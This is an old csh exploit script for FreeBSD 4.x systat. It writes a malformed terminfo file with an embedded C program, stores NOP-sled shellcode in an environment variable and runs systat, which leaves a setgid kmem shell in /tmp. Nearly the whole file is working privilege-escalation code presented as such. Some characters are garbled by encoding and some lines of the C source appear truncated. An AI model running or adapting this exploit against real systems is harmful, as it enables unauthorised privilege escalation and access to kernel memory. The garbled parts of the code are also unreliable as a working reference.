#!/bin/csh ############################################################################## # (c) 2000 Przemys豉w Frasunek # # # # FreeBSD 4.x systat (gid=kmem) trivial exploit # # Idea by: Jouko Pynn霵en # # # # Dedicated to ksm. # # # # Nudzi這 mi si?w szkole, tote?napisa貫m sploita na angielskim. :) # ############################################################################## cat << __EOF__ > /tmp/xx #!/bin/csh cp /bin/sh /tmp /usr/bin/chgrp kmem /tmp/sh chmod 2755 /tmp/sh __EOF__ chmod 755 /tmp/xx cat << __EOF__ > /tmp/sploitte.c #include #include #include #define OFF -400 #define ALIGN 516 long getesp(void) { __asm__("movl %esp, %eax\n"); } int main(void) { /* precompiled malformed terminfo header */ char evilcap[] = "\x1a\x01\x2a\x00\x26\x00\x21\x00\x82\x01\x09\x02\x73\x63\x72\x65" "\x65\x6e\x7c\x56\x54\x20\x31\x30\x30\x2f\x41\x4e\x53\x49\x20\x58" "\x33\x2e\x36\x34\x20\x76\x69\x72\x74\x75\x61\x6c\x20\x74\x65\x72" "\x6d\x69\x6e\x61\x6c"; char retbuf[5]; long ret = getesp() + OFF; int i; /* creating ~/.terminfo/s/screen precompiled binary */ write(2, evilcap, sizeof(evilcap)-1); for (i=0;i<39;i++) write(2, "\0", 1); for (i=0;i<86;i++) write(2, "\xff", 1); write(2, "\0\0", 2); for (i=0;i<750;i++) write(2, "\xff", 1); for (i=0;i> 8), (((int)ret & 0xff0000) >> 16), (((int)ret & 0xff000000) >> 24)); write(2, retbuf, 5); } __EOF__ # creating terminfo binary cc -o /tmp/s /tmp/sploitte.c cd $HOME mkdir -p .terminfo/s setenv TERM screen /tmp/s >& .terminfo/s/screen # shellcode goes to env. plenty of nops are used, so usually adjusting offset # isn't needed. setenv EGG `perl -e 'print "\x90" x 10000 ; print "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/xx\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"'` # boom. /usr/bin/systat >& /dev/null # clean me up. rm -f .terminfo/s/screen rm -f /tmp/xx /tmp/s /tmp/sploitte.c # your setgid shell :) ls -la /tmp/sh

捚粔韁藝婓盄